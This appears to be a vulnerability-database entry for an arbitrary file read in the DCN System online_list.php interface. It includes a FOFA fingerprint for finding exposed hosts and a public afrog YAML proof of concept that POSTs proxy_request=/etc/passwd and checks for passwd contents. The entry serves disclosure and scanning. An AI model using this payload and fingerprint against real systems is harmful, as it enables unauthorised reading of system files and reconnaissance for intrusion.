dcn-online-list-fileread: DCN System Online_list.php Arbitrary File Read

日期: 2025-09-01 | 影响软件: DCN System | POC: 已公开

漏洞描述

Digital China Networks (DCN) System online_list.php interface has an arbitrary file read vulnerability. An attacker can read arbitrary files by sending a specially crafted POST request. FOFA: body="style/blue/css/dcn_ui.css"

PoC代码[已公开]

id: dcn-online-list-fileread
info:
  name: DCN System Online_list.php Arbitrary File Read
  author: ZacharyZcR
  severity: high
  verified: true
  description: |
    Digital China Networks (DCN) System online_list.php interface has an arbitrary file read vulnerability.
    An attacker can read arbitrary files by sending a specially crafted POST request.
    FOFA: body="style/blue/css/dcn_ui.css"
  reference:
    - https://github.com/wy876/POC/blob/main/DCN/%E7%A5%9E%E5%B7%9E%E6%95%B0%E7%A0%81DCN%E7%B3%BB%E7%BB%9F%E6%8E%A5%E5%8F%A3online_list.php%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
  tags: dcn,lfi,fileread
  created: 2024/12/30

rules:
  r0:
    request:
      method: POST
      path: /function/auth/user/online_list.php
      body: proxy_request=/etc/passwd
    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/dcn-online-list-fileread.yaml

相关漏洞推荐